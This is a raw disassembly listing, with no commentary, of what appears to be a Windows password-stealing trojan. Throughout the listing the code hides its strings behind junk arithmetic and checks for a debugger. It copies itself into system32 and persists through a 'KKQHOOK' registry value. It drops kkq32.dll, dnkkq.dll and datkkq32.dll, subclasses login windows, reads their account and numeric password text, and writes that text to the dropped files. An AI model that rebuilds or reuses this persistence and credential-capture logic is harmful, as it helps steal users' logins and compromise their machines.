[ebp+arg_0] mov ds:dword_41E8CC, eax mov ds:dword_419710, 94h call sub_40C764 ; RtlGetLastWin32Error push offset dword_419710 call sub_40C7DC ; GetVersionExA mov [ebp+var_166], 14B0h movzx eax, [ebp+var_166] imul eax, 2D29h mov [ebp+var_166], ax push 0FFh push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" call sub_40C7A0 ; GetSystemDirectoryA mov [ebp+var_167], 6Eh movzx eax, [ebp+var_167] imul eax, 5351h mov [ebp+var_167], al call sub_40C7C4 ; GetTickCount push eax call sub_40CC5C mov [ebp+var_168], 59h movzx eax, [ebp+var_168] imul eax, 49B8h mov [ebp+var_168], al mov eax, dword_446A3A mov [ebp+var_780], eax push 104h lea eax, [ebp+var_470] push eax push [ebp+arg_0] call sub_40C770 ; GetModuleFileNameA call sub_40C764 ; RtlGetLastWin32Error and [ebp+var_5C], 0 mov [ebp+var_474], 4 mov [ebp+var_16C], 665Eh mov eax, 6DB4h mul [ebp+var_16C] mov [ebp+var_7B8], eax mov [ebp+var_16C], eax lea eax, [ebp+var_784] push eax lea eax, [ebp+var_474] push eax lea eax, [ebp+var_5C] push eax push offset aKkqhook ; "KKQHOOK" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4014C9 add esp, 24h mov [ebp+var_478], eax mov [ebp+var_5D], 0FBh movzx eax, [ebp+var_5D] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_5D], al cmp [ebp+var_478], 0 jz short loc_40AC5D lea edi, [ebp+var_7C1] lea esi, aAg9 ; " €ƒ9" mov ecx, 5 rep movsb cmp [ebp+var_5C], 1Dh jbe short loc_40AC32 mov eax, 6 sub eax, dword_43C094 push eax call sub_40CBFC pop ecx loc_40AC32: ; CODE XREF: sub_40AA24+1FAj cmp [ebp+var_5C], 1Dh jz loc_40AE0C mov [ebp+var_7BC], 6267h mov eax, 5DE7h mul [ebp+var_7BC] mov [ebp+var_7C8], eax mov [ebp+var_7BC], eax loc_40AC5D: ; CODE XREF: sub_40AA24+1E1j lea edi, [ebp+var_78C] lea esi, aDpuayyf ; "DpU€yYF" movsd movsd lea edi, [ebp+var_792] lea esi, aWq6ug ; "wq6Ug" mov ecx, 3 rep movsw call sub_40CC38 mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax add edi, 41h mov edx, edi mov [ebp+var_2D], dl mov [ebp+var_272], 223Eh movzx eax, [ebp+var_272] imul eax, 298Dh mov [ebp+var_272], ax mov [ebp+var_1], 1 jmp short loc_40ACF3 ; --------------------------------------------------------------------------- loc_40ACC6: ; CODE XREF: sub_40AA24+2D4j call sub_40CC38 movzx edi, [ebp+var_1] mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov esi, eax add esi, 61h mov edx, esi mov [ebp+edi+var_2D], dl add [ebp+var_1], 1 loc_40ACF3: ; CODE XREF: sub_40AA24+2A0j mov al, [ebp+var_1] cmp al, 8 jbe short loc_40ACC6 call sub_40C734 ; GetCurrentProcessId mov [ebp+var_25], 0 call sub_40CC38 mov edx, eax test dl, 1 jnz short loc_40AD21 call sub_40C764 ; RtlGetLastWin32Error mov [ebp+var_27], 33h call sub_40C734 ; GetCurrentProcessId mov [ebp+var_26], 32h loc_40AD21: ; CODE XREF: sub_40AA24+2E9j push 9 push offset byte_446C1B call sub_40129C lea edi, [ebp+var_2D] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_270] push edi call sub_40CC50 lea edi, [ebp+var_795] lea esi, aRf ; "rf" mov ecx, 3 rep movsb push 0 lea eax, [ebp+var_270] push eax lea eax, [ebp+var_470] push eax call sub_40C86C ; CopyFileA mov [ebp+var_278], 1F00h add [ebp+var_278], 2126h lea eax, [ebp+var_2D] push eax call sub_403BE7 mov ax, word_446A54 mov [ebp+var_797], ax mov [ebp+var_5C], 1Dh push 4 push 4 lea eax, [ebp+var_5C] push eax push offset aKkqhook ; "KKQHOOK" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_40160A add esp, 34h push 0 lea eax, [ebp+var_270] push eax call sub_40C938 ; WinExec mov ebx, 5146h mov eax, 3A35h mul ebx mov [ebp+var_7BC], eax mov ebx, eax call sub_40406B mov [ebp+var_27C], 7EF6h add [ebp+var_27C], 2A96h mov eax, 13h sub eax, dword_43C098 push eax call sub_40C710 ; ExitProcess call sub_40C764 ; RtlGetLastWin32Error loc_40AE0C: ; CODE XREF: sub_40AA24+212j push 5 push offset byte_446C15 call sub_40129C push offset aKkq32_dll ; "kkq32.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax push offset dword_41FA00 call sub_40CC50 call sub_40C740 ; GetCurrentThreadId push 5 push offset byte_446C15 call sub_40129C push offset aDnkkq_dll ; "dnkkq.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax push offset dword_40F1E0 call sub_40CC50 call sub_40C740 ; GetCurrentThreadId push 5 push offset byte_446C15 call sub_40129C push offset aDatkkq32_dll ; "datkkq32.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax push offset dword_40E080 call sub_40CC50 mov [ebp+var_27E], 3039h inc [ebp+var_27E] push 0Eh push offset byte_446BE5 call sub_40129C push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax push offset dword_41E8D0 call sub_40CC50 push 0FFh push offset dword_415080 call sub_40C7F4 ; GetWindowsDirectoryA mov [ebp+var_284], 5F78h mov eax, 6104h mul [ebp+var_284] mov [ebp+var_7C0], eax mov [ebp+var_284], eax push 9 push offset byte_446BDB call sub_40129C push eax push offset dword_415080 call sub_40CC74 mov [ebp+var_286], 8EFh sub [ebp+var_286], 6AEAh lea eax, aKkqhook ; "KKQHOOK" mov [ebp+var_31], eax call sub_40C854 ; IsDebuggerPresent mov eax, ds:dword_41E8CC mov [ebp+var_45], eax lea eax, sub_40B3E8 mov [ebp+var_51], eax push 7F00h push 0 call sub_40C9EC ; LoadCursorA mov [ebp+var_3D], eax mov [ebp+var_28C], 5A0Bh inc [ebp+var_28C] push 7F03h push 0 call sub_40CA04 ; LoadIconA mov [ebp+var_41], eax call sub_40C7C4 ; GetTickCount and [ebp+var_35], 0 push 0 call sub_40CAE8 ; GetStockObject mov [ebp+var_39], eax lea edi, [ebp+var_79F] lea esi, a16xYi_ ; "16X<Yi_" movsd movsd mov [ebp+var_55], 3 and [ebp+var_4D], 0 and [ebp+var_49], 0 lea eax, [ebp+var_55] push eax call sub_40CA94 ; RegisterClassA mov [ebp+var_290], 4E7Bh sub [ebp+var_290], 7B38h push 0 push ds:dword_41E8CC push 0 push 0 push 0 push 0 push 0 push 0 push 0CA0000h push offset aKkqhook ; "KKQHOOK" push offset aKkqhook ; "KKQHOOK" push 0 call sub_40CAB8 ; CreateWindowExA mov ds:dword_41C7BC, eax push offset aKkqhook_29 ; "KKQHOOK_29" push 0 push 0 call sub_40C950 ; CreateMutexA call sub_40C7D0 ; GetVersion push 2 call sub_402A48 add esp, 70h call sub_40C764 ; RtlGetLastWin32Error call sub_40C7D0 ; GetVersion cmp eax, 80000000h jb short loc_40B05B mov eax, dword_446A5E mov [ebp+var_7C8], eax push 0Ch push offset word_446BCE call sub_40129C push eax call sub_40C77C ; GetModuleHandleA mov edi, eax push 16h push offset aJZaJzJvDjZz ; "†±³½§ ±¦‡±¦¢½·±„¦»·±§§" call sub_40129C add esp, 10h push eax push edi call sub_40C788 ; GetProcAddress mov [ebp-7C4h], eax call sub_40C734 ; GetCurrentProcessId mov edi, 13h sub edi, dword_43C098 push edi push eax call dword ptr [ebp-7C4h] lea edi, [ebp+var_7CF] lea esi, word_446A62 mov ecx, 7 rep movsb loc_40B05B: ; CODE XREF: sub_40AA24+5CFj push 104h lea eax, [ebp+var_57C] push eax push 0 call sub_40C770 ; GetModuleFileNameA mov [ebp+var_292], 1A3Fh inc [ebp+var_292] lea eax, [ebp+var_57C] push eax call sub_40341E push offset dword_41FA00 call sub_40341E push offset dword_40F1E0 call sub_40341E call sub_40C7C4 ; GetTickCount push offset dword_40E080 call sub_40341E call sub_40C7C4 ; GetTickCount call sub_40C734 ; GetCurrentProcessId push eax call sub_4036BC mov [ebp+var_293], 0A0h sub [ebp+var_293], 3Ch lea edi, [ebp+var_7A2] lea esi, byte_446A69 mov ecx, 3 rep movsb lea eax, [ebp+var_2F7] push eax call sub_40399B call sub_40C734 ; GetCurrentProcessId and [ebp+var_360], 0 mov [ebp+var_364], 64h push 45h push offset aZAgJIsJZAigGzi ; "‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§ˆ—¡¦¦±º ‚±¦§½"... call sub_40129C lea edi, [ebp+var_360] push edi lea edi, [ebp+var_364] push edi lea edi, [ebp+var_35B] push edi lea edi, [ebp+var_2F7] push edi push eax push 80000002h call sub_4014C9 call sub_40C764 ; RtlGetLastWin32Error push 1 push offset byte_446B6F call sub_40129C push eax lea edi, [ebp+var_35B] push edi call sub_4037CA lea edi, [ebp+var_7AA] lea esi, aAH@2du ; "€$H@2dU" movsd movsd push 1 push offset byte_446B6D call sub_40129C push eax lea edi, [ebp+var_2F7] push edi call sub_4037CA call sub_40C7C4 ; GetTickCount mov ax, word_446A74 mov [ebp+var_7AC], ax push 17h push offset byte_446B55 call sub_40129C lea edi, [ebp+var_35B] push edi push eax lea edi, [ebp+var_77A] push edi call sub_40CC50 lea edi, [ebp+var_7AF] lea esi, word_446A76 mov ecx, 3 rep movsb lea eax, [ebp+var_360] push eax lea eax, [ebp+var_364] push eax lea eax, [ebp+var_67B] push eax push 0 lea eax, [ebp+var_77A] push eax push 80000000h call sub_4014C9 lea eax, [ebp+var_67B] push eax call sub_40341E call sub_40C854 ; IsDebuggerPresent call sub_403A5F mov [ebp+var_366], 6996h movzx eax, [ebp+var_366] imul eax, 6E78h mov [ebp+var_366], ax push offset sub_408048 call sub_407F07 add esp, 8Ch lea eax, [ebp+var_7B4] push eax push 0 push 0 push offset sub_4098A8 push 0 push 0 call sub_40C980 ; CreateThread push eax call sub_40C7AC ; CloseHandle call sub_40C740 ; GetCurrentThreadId push 0 mov eax, dword_43C094 add eax, 1EFh push eax mov eax, 13h sub eax, dword_43C098 push eax push ds:dword_41C7BC call sub_40C9F8 ; SetTimer mov [ebp+var_367], 0ADh add [ebp+var_367], 1 jmp short loc_40B2B0 ; --------------------------------------------------------------------------- loc_40B280: ; CODE XREF: sub_40AA24+89Dj lea edi, [ebp+var_7C3] lea esi, byte_446A79 mov ecx, 3 rep movsb lea eax, [ebp+var_1D] push eax call sub_40CA64 ; TranslateMessage mov eax, dword_446A7C mov [ebp+var_7C8+1], eax lea eax, [ebp+var_1D] push eax call sub_40CA70 ; DispatchMessageA loc_40B2B0: ; CODE XREF: sub_40AA24+85Aj push 0 push 0 push 0 lea eax, [ebp+var_1D] push eax call sub_40CA1C ; GetMessageA or eax, eax jnz short loc_40B280 pop edi pop esi pop ebx leave retn 10h sub_40AA24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2CA proc near ; DATA XREF: sub_408ED0+917o ; sub_408ED0+94Fo ... var_14 = dword ptr -14h var_C = byte ptr -0Ch var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C734 ; GetCurrentProcessId mov eax, [ebp+arg_4] cmp eax, 100h jz short loc_40B2EC jmp short loc_40B35A ; --------------------------------------------------------------------------- call sub_40C7D0 ; GetVersion loc_40B2EC: ; CODE XREF: sub_40B2CA+19j call sub_40C794 ; GetProcessHeap cmp [ebp+arg_8], 9 jnz short loc_40B35A mov eax, dword_446A80 mov [ebp+var_14], eax cmp ebx, ds:dword_41081C jnz short loc_40B312 push ds:dword_432DC0 call sub_40C9D4 ; SetFocus loc_40B312: ; CODE XREF: sub_40B2CA+3Bj call sub_40C7D0 ; GetVersion cmp ebx, ds:dword_432DC0 jnz short loc_40B32A push ds:dword_41E8C4 call sub_40C9D4 ; SetFocus loc_40B32A: ; CODE XREF: sub_40B2CA+53j call sub_40C734 ; GetCurrentProcessId cmp ebx, ds:dword_41E8C4 jnz short loc_40B342 push ds:dword_41E8BC call sub_40C9D4 ; SetFocus loc_40B342: ; CODE XREF: sub_40B2CA+6Bj cmp ebx, ds:dword_41E8BC jnz short loc_40B355 push ds:dword_432DC0 call sub_40C9D4 ; SetFocus loc_40B355: ; CODE XREF: sub_40B2CA+7Ej call sub_40C794 ; GetProcessHeap loc_40B35A: ; CODE XREF: sub_40B2CA+1Bj ; sub_40B2CA+2Bj and [ebp+var_4], 0 cmp ebx, ds:dword_432DC0 jnz short loc_40B36E mov eax, ds:dword_41F9F4 mov [ebp+var_4], eax loc_40B36E: ; CODE XREF: sub_40B2CA+9Aj cmp ebx, ds:dword_41E8C4 jnz short loc_40B37E mov eax, ds:dword_41E8C0 mov [ebp+var_4], eax loc_40B37E: ; CODE XREF: sub_40B2CA+AAj mov [ebp+var_6], 5304h sub [ebp+var_6], 7ADBh cmp ebx, ds:dword_41081C jnz short loc_40B39A mov eax, ds:dword_40E078 mov [ebp+var_4], eax loc_40B39A: ; CODE XREF: sub_40B2CA+C6j call sub_40C734 ; GetCurrentProcessId cmp ebx, ds:dword_41E8BC jnz short loc_40B3AF mov eax, ds:dword_413F1C mov [ebp+var_4], eax loc_40B3AF: ; CODE XREF: sub_40B2CA+DBj lea edi, [ebp+var_C] lea esi, aPB6 ; "p|b6" mov ecx, 5 rep movsb cmp [ebp+var_4], 0 jz short loc_40B3D9 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ebx push [ebp+var_4] call sub_40C98C ; CallWindowProcA jmp short loc_40B3E1 ; --------------------------------------------------------------------------- loc_40B3D9: ; CODE XREF: sub_40B2CA+F9j mov [ebp+var_7], 8Bh add [ebp+var_7], 1 loc_40B3E1: ; CODE XREF: sub_40B2CA+10Dj pop edi pop esi pop ebx leave retn 10h sub_40B2CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3E8 proc near ; DATA XREF: sub_40AA24+4F0o var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = byte ptr -234h var_22F = byte ptr -22Fh var_130 = byte ptr -130h var_12B = byte ptr -12Bh var_126 = word ptr -126h var_124 = byte ptr -124h var_121 = dword ptr -121h var_11D = byte ptr -11Dh var_11A = byte ptr -11Ah var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_102 = byte ptr -102h var_101 = byte ptr -101h var_100 = byte ptr -100h var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 264h push ebx push esi push edi mov [ebp+var_1], 0C7h add [ebp+var_1], 1 mov eax, [ebp+arg_4] cmp eax, 10h jz loc_40B5E9 jg short loc_40B418 cmp eax, 2 jz loc_40B5CE jmp loc_40BC0A ; --------------------------------------------------------------------------- loc_40B418: ; CODE XREF: sub_40B3E8+20j cmp eax, 111h jz loc_40B709 cmp eax, 113h jz short loc_40B453 cmp eax, 111h jl loc_40BC0A cmp eax, 138h jz loc_40B605 jmp loc_40BC0A ; --------------------------------------------------------------------------- mov [ebp+var_104], 0C5h add [ebp+var_104], 26h loc_40B453: ; CODE XREF: sub_40B3E8+40j mov [ebp+var_108], 4FC7h inc [ebp+var_108] cmp dword_43C220, 0 jz loc_40B57B mov [ebp+var_238], 1930h add [ebp+var_238], 3C79h push 9 push offset aRIA ; "»·›¶¾±· " call sub_40129C push eax push dword_43C220 call sub_408E12 mov [ebp+var_23C], eax call sub_40C734 ; GetCurrentProcessId push 8 push offset aSmdJJ ; "‘¬¤¸»¦±¦" call sub_40129C push eax push [ebp+var_23C] call sub_408E12 add esp, 20h mov [ebp+var_240], eax lea eax, [ebp+var_250] push eax push [ebp+var_240] call sub_40C9A4 ; GetWindowRect or eax, eax jz loc_40B57B call sub_40C7C4 ; GetTickCount lea eax, [ebp+var_260] push eax push ds:dword_41FB04 call sub_40C9A4 ; GetWindowRect or eax, eax jz short loc_40B57B call sub_40C7D0 ; GetVersion mov eax, [ebp+var_248] sub eax, [ebp+var_250] sub eax, 4 mov edx, [ebp+var_258] sub edx, [ebp+var_260] cmp eax, edx jnz short loc_40B540 mov eax, [ebp+var_244] sub eax, [ebp+var_24C] sub eax, 4 mov edx, [ebp+var_254] sub edx, [ebp+var_25C] cmp eax, edx jz short loc_40B57B loc_40B540: ; CODE XREF: sub_40B3E8+137j call sub_40C7D0 ; GetVersion push 1 mov eax, [ebp+var_244] sub eax, [ebp+var_24C] push eax mov eax, [ebp+var_248] sub eax, [ebp+var_250] push eax push 0 push 0 push ds:dword_41FB04 call sub_40CAD0 ; MoveWindow mov eax, off_446A89 mov [ebp+var_264], eax loc_40B57B: ; CODE XREF: sub_40B3E8+82j ; sub_40B3E8+F4j ... cmp dword_43C21C, 0 jz loc_40BC22 mov [ebp+var_238], 5CFDh mov eax, [ebp+var_238] mov edx, eax add edx, eax mov [ebp+var_238], edx mov eax, dword_43C21C mov dword_43C220, eax call sub_40C7C4 ; GetTickCount and dword_43C21C, 0 push dword_43C220 call sub_408ED0 pop ecx call sub_40C794 ; GetProcessHeap jmp loc_40BC22 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40B3E8+25j mov eax, ds:dword_41C7BC cmp [ebp+arg_0], eax jnz short loc_40B5DF push 0 call sub_40CAA0 ; PostQuitMessage loc_40B5DF: ; CODE XREF: sub_40B3E8+1EEj call sub_40C794 ; GetProcessHeap jmp loc_40BC22 ; --------------------------------------------------------------------------- loc_40B5E9: ; CODE XREF: sub_40B3E8+1Aj mov eax, ds:dword_41C7BC cmp [ebp+arg_0], eax jnz short loc_40B5FB push [ebp+arg_0] call sub_40CAC4 ; DestroyWindow loc_40B5FB: ; CODE XREF: sub_40B3E8+209j call sub_40C764 ; RtlGetLastWin32Error jmp loc_40BC22 ; --------------------------------------------------------------------------- loc_40B605: ; CODE XREF: sub_40B3E8+52j mov eax, [ebp+arg_C] mov [ebp+var_114], eax cmp eax, ds:dword_432DB8 jz short loc_40B642 cmp eax, ds:dword_413F20 jz short loc_40B642 cmp eax, ds:dword_41B7A8 jz short loc_40B642 cmp eax, ds:dword_4351D8 jz short loc_40B642 cmp eax, ds:dword_432DBC jz short loc_40B642 cmp eax, ds:dword_43A558 jnz loc_40BC22 loc_40B642: ; CODE XREF: sub_40B3E8+22Cj ; sub_40B3E8+234j ... mov word ptr [ebp+var_238+2], 75BDh movzx eax, word ptr [ebp+var_238+2] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_238+2], ax mov eax, [ebp+var_114] cmp eax, ds:dword_432DBC jz short loc_40B675 cmp eax, ds:dword_43A558 jnz short loc_40B684 loc_40B675: ; CODE XREF: sub_40B3E8+283j push 1010B0h push [ebp+arg_8] call sub_40CB00 ; SetTextColor jmp short loc_40B68E ; --------------------------------------------------------------------------- loc_40B684: ; CODE XREF: sub_40B3E8+28Bj push 0 push [ebp+arg_8] call sub_40CB00 ; SetTextColor loc_40B68E: ; CODE XREF: sub_40B3E8+29Aj mov word ptr [ebp+var_238], 64CAh movzx eax, word ptr [ebp+var_238] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_238], ax push 0FFFFFFh push [ebp+arg_8] call sub_40CAF4 ; SetBkColor mov byte ptr [ebp+var_23C+3], 5Dh sub byte ptr [ebp+var_23C+3], 0FBh and [ebp+var_254], 0 and [ebp+var_250], 0 lea eax, [ebp+var_254] push eax call sub_40CB0C ; CreateBrushIndirect mov [ebp+var_240], eax lea edi, [ebp+var_248] lea esi, aAhAq ; " *€h&€q" movsd movsd mov eax, [ebp+var_240] jmp loc_40BC22 ; --------------------------------------------------------------------------- call sub_40C764 ; RtlGetLastWin32Error jmp loc_40BC22 ; --------------------------------------------------------------------------- loc_40B709: ; CODE XREF: sub_40B3E8+35j lea edi, [ebp+var_11A] lea esi, aGjvry ; "gjVRy" mov ecx, 3 rep movsw push 2 push offset word_446B52 call sub_40129C push offset byte_433FE0 push eax lea edi, [ebp+var_22F] push edi call sub_40CC50 add esp, 14h call sub_40C794 ; GetProcessHeap push 0FFh lea eax, [ebp+var_100] push eax push ds:dword_432DC0 call sub_40C998 ; GetWindowTextA call sub_40C734 ; GetCurrentProcessId cmp [ebp+var_100], 0 jnz short loc_40B79D call sub_40C854 ; IsDebuggerPresent push 1Fh push offset word_446B32 call sub_40129C add esp, 8 push 0 push 0 push eax push 0 call sub_40CA10 ; MessageBoxA push ds:dword_432DC0 call sub_40C9D4 ; SetFocus call sub_40C794 ; GetProcessHeap jmp loc_40BC22 ; --------------------------------------------------------------------------- loc_40B79D: ; CODE XREF: sub_40B3E8+37Ej push 5 push offset dword_446B2C call sub_40129C lea edi, [ebp+var_100] push edi lea edi, [ebp+var_22F] push edi push eax lea edi, [ebp+var_22F] push edi call sub_40CC50 add esp, 18h push 0FFh lea eax, [ebp+var_100] push eax push ds:dword_41E8C4 call sub_40C998 ; GetWindowTextA cmp [ebp+var_100], 0 jnz short loc_40B822 call sub_40C7C4 ; GetTickCount push 1Eh push offset byte_446B0D call sub_40129C add esp, 8 push 0 push 0 push eax push 0 call sub_40CA10 ; MessageBoxA mov eax, dword_446A9B mov [ebp+var_238], eax push ds:dword_41E8C4 call sub_40C9D4 ; SetFocus jmp loc_40BC22 ; --------------------------------------------------------------------------- loc_40B822: ; CODE XREF: sub_40B3E8+3FDj push 5 push offset byte_446B07 call sub_40129C lea edi, [ebp+var_100] push edi lea edi, [ebp+var_22F] push edi push eax lea edi, [ebp+var_22F] push edi call sub_40CC50 add esp, 18h call sub_40C7D0 ; GetVersion push 0FFh lea eax, [ebp+var_100] push eax push ds:dword_41E8BC call sub_40C998 ; GetWindowTextA lea edi, [ebp+var_11D] lea esi, byte_446A9F mov ecx, 3 rep movsb cmp [ebp+var_100], 0 jz loc_40B9B8 mov [ebp+var_10C], 53E8h add [ebp+var_10C], 3B86h lea ecx, [ebp+var_100] or eax, 0FFFFFFFFh loc_40B8A5: ; CODE XREF: sub_40B3E8+4C2j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B8A5 cmp eax, 4 jb loc_40B9B8 call sub_40C764 ; RtlGetLastWin32Error mov [ebp+var_102], 0 jmp short loc_40B8E5 ; --------------------------------------------------------------------------- loc_40B8C3: ; CODE XREF: sub_40B3E8+516j movzx eax, [ebp+var_102] mov al, [ebp+eax+var_100] cmp al, 30h jl short loc_40B8D9 cmp al, 39h jle short loc_40B8DE loc_40B8D9: ; CODE XREF: sub_40B3E8+4EBj jmp loc_40B9B8 ; --------------------------------------------------------------------------- loc_40B8DE: ; CODE XREF: sub_40B3E8+4EFj add [ebp+var_102], 1 loc_40B8E5: ; CODE XREF: sub_40B3E8+4D9j lea ecx, [ebp+var_100] or eax, 0FFFFFFFFh loc_40B8EE: ; CODE XREF: sub_40B3E8+50Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B8EE movzx esi, [ebp+var_102] cmp esi, eax jb short loc_40B8C3 call sub_40C794 ; GetProcessHeap mov [ebp+var_101], 0 jmp loc_40B997 ; --------------------------------------------------------------------------- loc_40B911: ; CODE XREF: sub_40B3E8+5C8j mov byte ptr [ebp+var_238+2], 0EEh sub byte ptr [ebp+var_238+2], 96h call sub_40C764 ; RtlGetLastWin32Error mov al, [ebp+var_101] mov byte ptr [ebp+var_238+3], al jmp short loc_40B95B ; --------------------------------------------------------------------------- loc_40B932: ; CODE XREF: sub_40B3E8+58Cj movzx eax, byte ptr [ebp+var_238+3] movsx eax, [ebp+eax+var_100] movzx edx, [ebp+var_101] movsx edx, [ebp+edx+var_100] cmp eax, edx jnz short loc_40B976 add byte ptr [ebp+var_238+3], 1 loc_40B95B: ; CODE XREF: sub_40B3E8+548j lea ecx, [ebp+var_100] or eax, 0FFFFFFFFh loc_40B964: ; CODE XREF: sub_40B3E8+581j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B964 movzx esi, byte ptr [ebp+var_238+3] cmp esi, eax jb short loc_40B932 loc_40B976: ; CODE XREF: sub_40B3E8+56Aj call sub_40C734 ; GetCurrentProcessId movzx eax, byte ptr [ebp+var_238+3] movzx edx, [ebp+var_101] sub eax, edx cmp eax, 3 jg short loc_40B9B8 add [ebp+var_101], 1 loc_40B997: ; CODE XREF: sub_40B3E8+524j lea ecx, [ebp+var_100] or eax, 0FFFFFFFFh loc_40B9A0: ; CODE XREF: sub_40B3E8+5BDj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B9A0 movzx esi, [ebp+var_101] cmp esi, eax jb loc_40B911 jmp short loc_40BA1F ; --------------------------------------------------------------------------- loc_40B9B8: ; CODE XREF: sub_40B3E8+49Aj ; sub_40B3E8+4C7j ... mov eax, dword_43C094 add eax, 7CBh push eax call sub_40CBD8 call sub_40C740 ; GetCurrentThreadId push 35h push offset byte_446AD1 call sub_40129C mov [ebp+var_238], eax push 13h push offset byte_446ABD call sub_40129C add esp, 14h push 0 push eax mov edi, [ebp+var_238] push edi push 0 call sub_40CA10 ; MessageBoxA call sub_40C7C4 ; GetTickCount push ds:dword_41E8BC call sub_40C9D4 ; SetFocus mov eax, dword_446AA2 mov [ebp+var_121], eax jmp loc_40BC22 ; --------------------------------------------------------------------------- loc_40BA1F: ; CODE XREF: sub_40B3E8+5CEj push 5 push offset dword_446B2C call sub_40129C lea edi, [ebp+var_100] push edi lea edi, [ebp+var_22F] push edi push eax lea edi, [ebp+var_22F] push edi call sub_40CC50 add esp, 18h call sub_40C734 ; GetCurrentProcessId push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_41FA00 call sub_40C8CC ; CreateFileA mov [ebp+var_110], eax lea edi, [ebp+var_124] lea esi, word_446AA6 mov ecx, 3 rep movsb push 2 push 0 push 0 push [ebp+var_110] call sub_40C8D8 ; SetFilePointer call sub_40C7C4 ; GetTickCount lea ecx, [ebp+var_22F] or eax, 0FFFFFFFFh loc_40BA9F: ; CODE XREF: sub_40B3E8+6BCj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40BA9F push 0 lea esi, [ebp+var_234] push esi push eax lea edi, [ebp+var_22F] push edi push [ebp+var_110] call sub_40C944 ; WriteFile mov [ebp+var_103], 87h movzx eax, [ebp+var_103] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_103], al push 2 push offset asc_446ABA ; "ÙÞ" call sub_40129C add esp, 8 push 0 lea edi, [ebp+var_234] push edi mov edi, 14h sub edi, dword_43C098 push edi push eax push [ebp+var_110] call sub_40C944 ; WriteFile mov ax, word_446AA9 mov [ebp+var_126], ax push [ebp+var_110] call sub_40C7AC ; CloseHandle call sub_40C740 ; GetCurrentThreadId push ds:dword_41FB04 call sub_40CAC4 ; DestroyWindow call sub_40C854 ; IsDebuggerPresent push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_40F1E0 call sub_40C8CC ; CreateFileA mov [ebp+var_110], eax push 2 push 0 push 0 push [ebp+var_110] call sub_40C8D8 ; SetFilePointer call sub_40C7D0 ; GetVersion lea ecx, byte_433FE0 or eax, 0FFFFFFFFh loc_40BB77: ; CODE XREF: sub_40B3E8+794j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40BB77 mov edi, eax push 0 lea esi, [ebp+var_234] push esi push edi push offset byte_433FE0 push [ebp+var_110] call sub_40C944 ; WriteFile lea edi, [ebp+var_12B] lea esi, byte_446AAB mov ecx, 5 rep movsb push 1 push offset asc_446AB8 ; "Ô" call sub_40129C add esp, 8 push 0 lea edi, [ebp+var_234] push edi mov edi, 13h sub edi, dword_43C098 push edi push eax push [ebp+var_110] call sub_40C944 ; WriteFile push [ebp+var_110] call sub_40C7AC ; CloseHandle push 5 push ds:dword_41D89C call sub_40CAAC ; ShowWindow lea edi, [ebp+var_130] lea esi, aV@zc ; "v@zc" mov ecx, 5 rep movsb jmp short loc_40BC22 ; --------------------------------------------------------------------------- loc_40BC0A: ; CODE XREF: sub_40B3E8+2Bj ; sub_40B3E8+47j ... push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CADC ; DefWindowProcA jmp short loc_40BC22 ; --------------------------------------------------------------------------- call sub_40C7C4 ; GetTickCount loc_40BC22: ; CODE XREF: sub_40B3E8+19Aj ; sub_40B3E8+1E1j ... pop edi pop esi pop ebx leave retn 10h sub_40B3E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BC2C proc near ; CODE XREF: sub_406D2E+32p ; sub_406D2E+42p jmp ds:dword_448340 sub_40BC2C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BC38 proc near ; CODE XREF: sub_40523D+D4p jmp ds:dword_44834C sub_40BC38 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BC44 proc near ; CODE 